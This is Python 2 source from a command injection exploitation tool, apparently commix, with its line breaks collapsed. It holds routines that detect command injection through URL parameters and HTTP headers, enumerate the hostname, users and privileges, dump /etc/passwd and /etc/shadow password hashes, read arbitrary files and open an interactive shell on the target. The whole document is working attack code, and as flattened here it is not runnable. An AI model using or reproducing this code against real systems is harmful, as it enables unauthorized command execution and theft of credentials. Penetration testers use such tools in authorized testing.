def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: cmd = "\"" + cmd + "\"" # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. ps_version = eb_injector.injection_results(response, TAG, cmd) ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False checks.ps_check_failed()
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print "" if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = cb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = cb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options() and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: print "" continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser() shell = html_parser.unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_passes = cb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes : info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print "\n" + settings.print_warning_msg(warn_msg)
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") # else: # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_users = cb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" print " (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print " (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = cb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(","").replace(")","") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" 